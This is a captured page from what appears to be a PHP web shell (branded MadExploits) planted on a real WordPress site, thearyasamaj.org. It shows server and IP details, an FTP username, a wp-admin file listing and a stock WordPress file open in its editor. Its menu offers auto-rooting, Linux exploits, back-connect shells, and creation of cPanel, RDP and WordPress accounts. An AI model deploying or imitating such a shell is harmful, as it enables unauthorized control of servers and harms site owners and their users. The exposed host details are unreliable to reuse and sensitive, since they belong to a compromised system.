Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
thearyasamaj /
public_html /
ajax /
blog /
wp-admin /
[ HOME SHELL ]
Name
Size
Permission
Action
css
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
includes
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
maint
[ DIR ]
drwxr-xr-x
network
[ DIR ]
drwxr-xr-x
user
[ DIR ]
drwxr-xr-x
about.php
8.43
KB
-rw-r--r--
admin-ajax.php
2.43
KB
-rw-r--r--
admin-footer.php
1.3
KB
-rw-r--r--
admin-functions.php
401
B
-rw-r--r--
admin-header.php
4.33
KB
-rw-r--r--
admin-post.php
590
B
-rw-r--r--
admin.php
6.34
KB
-rw-r--r--
async-upload.php
2.51
KB
-rw-r--r--
comment.php
8.64
KB
-rw-r--r--
credits.php
5.83
KB
-rw-r--r--
custom-background.php
16.02
KB
-rw-r--r--
custom-header.php
35.04
KB
-rw-r--r--
customize.php
6.76
KB
-rw-r--r--
edit-comments.php
11.27
KB
-rw-r--r--
edit-form-advanced.php
19.89
KB
-rw-r--r--
edit-form-comment.php
5.75
KB
-rw-r--r--
edit-link-form.php
5.47
KB
-rw-r--r--
edit-tag-form.php
3.98
KB
-rw-r--r--
edit-tags.php
15.12
KB
-rw-r--r--
edit.php
12.33
KB
-rw-r--r--
error_log
338.56
KB
-rw-r--r--
export.php
7.47
KB
-rw-r--r--
freedoms.php
3.32
KB
-rw-r--r--
gears-manifest.php
1.32
KB
-rw-r--r--
import.php
6.13
KB
-rw-r--r--
index.php
5.26
KB
-rw-r--r--
install-helper.php
5.46
KB
-rw-r--r--
install.php
10.11
KB
-rw-r--r--
link-add.php
811
B
-rw-r--r--
link-manager.php
3.35
KB
-rw-r--r--
link-parse-opml.php
2.42
KB
-rw-r--r--
link.php
2.73
KB
-rw-r--r--
load-scripts.php
2.69
KB
-rw-r--r--
load-styles.php
3.04
KB
-rw-r--r--
media-new.php
236
B
-rw-r--r--
media-upload.php
4.98
KB
-rw-r--r--
media.php
5.08
KB
-rw-r--r--
menu-header.php
6.83
KB
-rw-r--r--
menu.php
11.74
KB
-rw-r--r--
moderation.php
287
B
-rw-r--r--
ms-admin.php
190
B
-rw-r--r--
ms-delete-site.php
3.29
KB
-rw-r--r--
ms-edit.php
210
B
-rw-r--r--
ms-options.php
214
B
-rw-r--r--
ms-sites.php
207
B
-rw-r--r--
ms-themes.php
209
B
-rw-r--r--
ms-upgrade-network.php
207
B
-rw-r--r--
ms-users.php
207
B
-rw-r--r--
my-sites.php
3.72
KB
-rw-r--r--
nav-menus.php
27.46
KB
-rw-r--r--
network.php
25.59
KB
-rw-r--r--
options-discussion.php
12.94
KB
-rw-r--r--
options-general.php
12.9
KB
-rw-r--r--
options-head.php
589
B
-rw-r--r--
options-media.php
6.88
KB
-rw-r--r--
options-permalink.php
14.33
KB
-rw-r--r--
options-privacy.php
2.68
KB
-rw-r--r--
options-reading.php
6.28
KB
-rw-r--r--
options-writing.php
10.99
KB
-rw-r--r--
options.php
9.01
KB
-rw-r--r--
php_errorlog
215.57
KB
-rw-r--r--
plugin-editor.php
10.67
KB
-rw-r--r--
plugin-install.php
3.24
KB
-rw-r--r--
plugins.php
18.53
KB
-rw-r--r--
post-new.php
1.51
KB
-rw-r--r--
post.php
7.24
KB
-rw-r--r--
press-this.php
25.31
KB
-rw-r--r--
profile.php
273
B
-rw-r--r--
revision.php
6.51
KB
-rw-r--r--
setup-config.php
10.6
KB
-rw-r--r--
theme-editor.php
9.8
KB
-rw-r--r--
theme-install.php
4.05
KB
-rw-r--r--
themes.php
12.09
KB
-rw-r--r--
tools.php
3.95
KB
-rw-r--r--
update-core.php
22.1
KB
-rw-r--r--
update.php
9.32
KB
-rw-r--r--
upgrade-functions.php
336
B
-rw-r--r--
upgrade.php
3.91
KB
-rw-r--r--
upload.php
9.27
KB
-rw-r--r--
user-edit.php
18.33
KB
-rw-r--r--
user-new.php
16.03
KB
-rw-r--r--
users.php
14.51
KB
-rw-r--r--
widgets.php
15.09
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : custom-background.php
<?php /** * The custom background script. * * @package WordPress * @subpackage Administration */ /** * The custom background class. * * @since 3.0.0 * @package WordPress * @subpackage Administration */ class Custom_Background { /** * Callback for administration header. * * @var callback * @since 3.0.0 * @access private */ var $admin_header_callback; /** * Callback for header div. * * @var callback * @since 3.0.0 * @access private */ var $admin_image_div_callback; /** * Holds the page menu hook. * * @var string * @since 3.0.0 * @access private */ var $page = ''; /** * Constructor - Register administration header callback. * * @since 3.0.0 * @param callback $admin_header_callback * @param callback $admin_image_div_callback Optional custom image div output callback. * @return Custom_Background */ function __construct($admin_header_callback = '', $admin_image_div_callback = '') { $this->admin_header_callback = $admin_header_callback; $this->admin_image_div_callback = $admin_image_div_callback; add_action( 'admin_menu', array( $this, 'init' ) ); add_action( 'wp_ajax_set-background-image', array( $this, 'wp_set_background_image' ) ); } /** * Set up the hooks for the Custom Background admin page. * * @since 3.0.0 */ function init() { if ( ! current_user_can('edit_theme_options') ) return; $this->page = $page = add_theme_page(__('Background'), __('Background'), 'edit_theme_options', 'custom-background', array(&$this, 'admin_page')); add_action("load-$page", array(&$this, 'admin_load')); add_action("load-$page", array(&$this, 'take_action'), 49); add_action("load-$page", array(&$this, 'handle_upload'), 49); if ( isset( $_REQUEST['context'] ) && $_REQUEST['context'] == 'custom-background' ) { add_filter( 'attachment_fields_to_edit', array( $this, 'attachment_fields_to_edit' ), 10, 2 ); add_filter( 'media_upload_tabs', array( $this, 'filter_upload_tabs' ) ); add_filter( 'media_upload_mime_type_links', '__return_empty_array' ); } if ( $this->admin_header_callback ) add_action("admin_head-$page", $this->admin_header_callback, 51); } /** * Set up the enqueue for the CSS & JavaScript files. * * @since 3.0.0 */ function admin_load() { get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __('Overview'), 'content' => '<p>' . __( 'You can customize the look of your site without touching any of your theme’s code by using a custom background. Your background can be an image or a color.' ) . '</p>' . '<p>' . __( 'To use a background image, simply upload it, then choose your display options below. You can display a single instance of your image, or tile it to fill the screen. You can have your background fixed in place, so your site content moves on top of it, or you can have it scroll with your site.' ) . '</p>' . '<p>' . __( 'You can also choose a background color. If you know the hexadecimal code for the color you want, enter it in the Background Color field. If not, click on the Select a Color link, and a color picker will allow you to choose the exact shade you want.' ) . '</p>' . '<p>' . __( 'Don’t forget to click on the Save Changes button when you are finished.' ) . '</p>' ) ); get_current_screen()->set_help_sidebar( '<p><strong>' . __( 'For more information:' ) . '</strong></p>' . '<p>' . __( '<a href="http://codex.wordpress.org/Appearance_Background_Screen" target="_blank">Documentation on Custom Background</a>' ) . '</p>' . '<p>' . __( '<a href="http://wordpress.org/support/" target="_blank">Support Forums</a>' ) . '</p>' ); add_thickbox(); wp_enqueue_script('media-upload'); wp_enqueue_script('custom-background'); wp_enqueue_style('farbtastic'); } /** * Execute custom background modification. * * @since 3.0.0 */ function take_action() { if ( empty($_POST) ) return; if ( isset($_POST['reset-background']) ) { check_admin_referer('custom-background-reset', '_wpnonce-custom-background-reset'); remove_theme_mod('background_image'); remove_theme_mod('background_image_thumb'); $this->updated = true; return; } if ( isset($_POST['remove-background']) ) { // @TODO: Uploaded files are not removed here. check_admin_referer('custom-background-remove', '_wpnonce-custom-background-remove'); set_theme_mod('background_image', ''); set_theme_mod('background_image_thumb', ''); $this->updated = true; wp_safe_redirect( $_POST['_wp_http_referer'] ); return; } if ( isset($_POST['background-repeat']) ) { check_admin_referer('custom-background'); if ( in_array($_POST['background-repeat'], array('repeat', 'no-repeat', 'repeat-x', 'repeat-y')) ) $repeat = $_POST['background-repeat']; else $repeat = 'repeat'; set_theme_mod('background_repeat', $repeat); } if ( isset($_POST['background-position-x']) ) { check_admin_referer('custom-background'); if ( in_array($_POST['background-position-x'], array('center', 'right', 'left')) ) $position = $_POST['background-position-x']; else $position = 'left'; set_theme_mod('background_position_x', $position); } if ( isset($_POST['background-attachment']) ) { check_admin_referer('custom-background'); if ( in_array($_POST['background-attachment'], array('fixed', 'scroll')) ) $attachment = $_POST['background-attachment']; else $attachment = 'fixed'; set_theme_mod('background_attachment', $attachment); } if ( isset($_POST['background-color']) ) { check_admin_referer('custom-background'); $color = preg_replace('/[^0-9a-fA-F]/', '', $_POST['background-color']); if ( strlen($color) == 6 || strlen($color) == 3 ) set_theme_mod('background_color', $color); else set_theme_mod('background_color', ''); } $this->updated = true; } /** * Display the custom background page. * * @since 3.0.0 */ function admin_page() { ?> <div class="wrap" id="custom-background"> <?php screen_icon(); ?> <h2><?php _e('Custom Background'); ?></h2> <?php if ( !empty($this->updated) ) { ?> <div id="message" class="updated"> <p><?php printf( __( 'Background updated. <a href="%s">Visit your site</a> to see how it looks.' ), home_url( '/' ) ); ?></p> </div> <?php } if ( $this->admin_image_div_callback ) { call_user_func($this->admin_image_div_callback); } else { ?> <h3><?php _e('Background Image'); ?></h3> <table class="form-table"> <tbody> <tr valign="top"> <th scope="row"><?php _e('Preview'); ?></th> <td> <?php $background_styles = ''; if ( $bgcolor = get_background_color() ) $background_styles .= 'background-color: #' . $bgcolor . ';'; if ( get_background_image() ) { // background-image URL must be single quote, see below $background_styles .= ' background-image: url(\'' . set_url_scheme( get_theme_mod( 'background_image_thumb', get_background_image() ) ) . '\');' . ' background-repeat: ' . get_theme_mod('background_repeat', 'repeat') . ';' . ' background-position: top ' . get_theme_mod('background_position_x', 'left'); } ?> <div id="custom-background-image" style="<?php echo $background_styles; ?>"><?php // must be double quote, see above ?> <?php if ( get_background_image() ) { ?> <img class="custom-background-image" src="<?php echo set_url_scheme( get_theme_mod( 'background_image_thumb', get_background_image() ) ); ?>" style="visibility:hidden;" alt="" /><br /> <img class="custom-background-image" src="<?php echo set_url_scheme( get_theme_mod( 'background_image_thumb', get_background_image() ) ); ?>" style="visibility:hidden;" alt="" /> <?php } ?> </div> <?php } ?> </td> </tr> <?php if ( get_background_image() ) : ?> <tr valign="top"> <th scope="row"><?php _e('Remove Image'); ?></th> <td> <form method="post" action=""> <?php wp_nonce_field('custom-background-remove', '_wpnonce-custom-background-remove'); ?> <?php submit_button( __( 'Remove Background Image' ), 'button', 'remove-background', false ); ?><br/> <?php _e('This will remove the background image. You will not be able to restore any customizations.') ?> </form> </td> </tr> <?php endif; ?> <?php $default_image = get_theme_support( 'custom-background', 'default-image' ); ?> <?php if ( $default_image && get_background_image() != $default_image ) : ?> <tr valign="top"> <th scope="row"><?php _e('Restore Original Image'); ?></th> <td> <form method="post" action=""> <?php wp_nonce_field('custom-background-reset', '_wpnonce-custom-background-reset'); ?> <?php submit_button( __( 'Restore Original Image' ), 'button', 'reset-background', false ); ?><br/> <?php _e('This will restore the original background image. You will not be able to restore any customizations.') ?> </form> </td> </tr> <?php endif; ?> <tr valign="top"> <th scope="row"><?php _e('Select Image'); ?></th> <td><form enctype="multipart/form-data" id="upload-form" method="post" action=""> <p> <label for="upload"><?php _e( 'Choose an image from your computer:' ); ?></label><br /> <input type="file" id="upload" name="import" /> <input type="hidden" name="action" value="save" /> <?php wp_nonce_field( 'custom-background-upload', '_wpnonce-custom-background-upload' ); ?> <?php submit_button( __( 'Upload' ), 'button', 'submit', false ); ?> </p> <?php $image_library_url = get_upload_iframe_src( 'image', null, 'library' ); $image_library_url = remove_query_arg( 'TB_iframe', $image_library_url ); $image_library_url = add_query_arg( array( 'context' => 'custom-background', 'TB_iframe' => 1 ), $image_library_url ); ?> <p> <label for="choose-from-library-link"><?php _e( 'Or choose an image from your media library:' ); ?></label><br /> <a id="choose-from-library-link" class="button thickbox" href="<?php echo esc_url( $image_library_url ); ?>"><?php _e( 'Choose Image' ); ?></a> </p> </form> </td> </tr> </tbody> </table> <h3><?php _e('Display Options') ?></h3> <form method="post" action=""> <table class="form-table"> <tbody> <?php if ( get_background_image() ) : ?> <tr valign="top"> <th scope="row"><?php _e( 'Position' ); ?></th> <td><fieldset><legend class="screen-reader-text"><span><?php _e( 'Background Position' ); ?></span></legend> <label> <input name="background-position-x" type="radio" value="left"<?php checked('left', get_theme_mod('background_position_x', 'left')); ?> /> <?php _e('Left') ?> </label> <label> <input name="background-position-x" type="radio" value="center"<?php checked('center', get_theme_mod('background_position_x', 'left')); ?> /> <?php _e('Center') ?> </label> <label> <input name="background-position-x" type="radio" value="right"<?php checked('right', get_theme_mod('background_position_x', 'left')); ?> /> <?php _e('Right') ?> </label> </fieldset></td> </tr> <tr valign="top"> <th scope="row"><?php _e( 'Repeat' ); ?></th> <td><fieldset><legend class="screen-reader-text"><span><?php _e( 'Background Repeat' ); ?></span></legend> <label><input type="radio" name="background-repeat" value="no-repeat"<?php checked('no-repeat', get_theme_mod('background_repeat', 'repeat')); ?> /> <?php _e('No Repeat'); ?></label> <label><input type="radio" name="background-repeat" value="repeat"<?php checked('repeat', get_theme_mod('background_repeat', 'repeat')); ?> /> <?php _e('Tile'); ?></label> <label><input type="radio" name="background-repeat" value="repeat-x"<?php checked('repeat-x', get_theme_mod('background_repeat', 'repeat')); ?> /> <?php _e('Tile Horizontally'); ?></label> <label><input type="radio" name="background-repeat" value="repeat-y"<?php checked('repeat-y', get_theme_mod('background_repeat', 'repeat')); ?> /> <?php _e('Tile Vertically'); ?></label> </fieldset></td> </tr> <tr valign="top"> <th scope="row"><?php _e( 'Attachment' ); ?></th> <td><fieldset><legend class="screen-reader-text"><span><?php _e( 'Background Attachment' ); ?></span></legend> <label> <input name="background-attachment" type="radio" value="scroll" <?php checked('scroll', get_theme_mod('background_attachment', 'scroll')); ?> /> <?php _e('Scroll') ?> </label> <label> <input name="background-attachment" type="radio" value="fixed" <?php checked('fixed', get_theme_mod('background_attachment', 'scroll')); ?> /> <?php _e('Fixed') ?> </label> </fieldset></td> </tr> <?php endif; // get_background_image() ?> <tr valign="top"> <th scope="row"><?php _e( 'Background Color' ); ?></th> <td><fieldset><legend class="screen-reader-text"><span><?php _e( 'Background Color' ); ?></span></legend> <?php $show_clear = get_theme_mod('background_color') ? '' : ' style="display:none"'; ?> <input type="text" name="background-color" id="background-color" value="#<?php echo esc_attr(get_background_color()) ?>" /> <a class="hide-if-no-js" href="#" id="pickcolor"><?php _e('Select a Color'); ?></a> <span<?php echo $show_clear; ?> class="hide-if-no-js" id="clearcolor"> (<a href="#"><?php current_theme_supports( 'custom-background', 'default-color' ) ? _e( 'Default' ) : _e( 'Clear' ); ?></a>)</span> <input type="hidden" id="defaultcolor" value="<?php if ( current_theme_supports( 'custom-background', 'default-color' ) ) echo '#' . esc_attr( get_theme_support( 'custom-background', 'default-color' ) ); ?>" /> <div id="colorPickerDiv" style="z-index: 100; background:#eee; border:1px solid #ccc; position:absolute; display:none;"></div> </fieldset></td> </tr> </tbody> </table> <?php wp_nonce_field('custom-background'); ?> <?php submit_button( null, 'primary', 'save-background-options' ); ?> </form> </div> <?php } /** * Handle an Image upload for the background image. * * @since 3.0.0 */ function handle_upload() { if ( empty($_FILES) ) return; check_admin_referer('custom-background-upload', '_wpnonce-custom-background-upload'); $overrides = array('test_form' => false); $file = wp_handle_upload($_FILES['import'], $overrides); if ( isset($file['error']) ) wp_die( $file['error'] ); $url = $file['url']; $type = $file['type']; $file = $file['file']; $filename = basename($file); // Construct the object array $object = array( 'post_title' => $filename, 'post_content' => $url, 'post_mime_type' => $type, 'guid' => $url, 'context' => 'custom-background' ); // Save the data $id = wp_insert_attachment($object, $file); // Add the meta-data wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $file ) ); update_post_meta( $id, '_wp_attachment_is_custom_background', get_option('stylesheet' ) ); set_theme_mod('background_image', esc_url_raw($url)); $thumbnail = wp_get_attachment_image_src( $id, 'thumbnail' ); set_theme_mod('background_image_thumb', esc_url_raw( $thumbnail[0] ) ); do_action('wp_create_file_in_uploads', $file, $id); // For replication $this->updated = true; } /** * Replace default attachment actions with "Set as background" link. * * @since 3.4.0 */ function attachment_fields_to_edit( $form_fields, $post ) { $form_fields = array( 'image-size' => $form_fields['image-size'] ); $form_fields['buttons'] = array( 'tr' => '<tr class="submit"><td></td><td><a data-attachment-id="' . $post->ID . '" class="wp-set-background">' . __( 'Set as background' ) . '</a></td></tr>' ); $form_fields['context'] = array( 'input' => 'hidden', 'value' => 'custom-background' ); return $form_fields; } /** * Leave only "Media Library" tab in the uploader window. * * @since 3.4.0 */ function filter_upload_tabs() { return array( 'library' => __('Media Library') ); } public function wp_set_background_image() { if ( ! current_user_can('edit_theme_options') || ! isset( $_POST['attachment_id'] ) ) exit; $attachment_id = absint($_POST['attachment_id']); $sizes = array_keys(apply_filters( 'image_size_names_choose', array('thumbnail' => __('Thumbnail'), 'medium' => __('Medium'), 'large' => __('Large'), 'full' => __('Full Size')) )); $size = 'thumbnail'; if ( in_array( $_POST['size'], $sizes ) ) $size = esc_attr( $_POST['size'] ); update_post_meta( $attachment_id, '_wp_attachment_is_custom_background', get_option('stylesheet' ) ); $url = wp_get_attachment_image_src( $attachment_id, $size ); $thumbnail = wp_get_attachment_image_src( $attachment_id, 'thumbnail' ); set_theme_mod( 'background_image', esc_url_raw( $url[0] ) ); set_theme_mod( 'background_image_thumb', esc_url_raw( $thumbnail[0] ) ); exit; } }
Close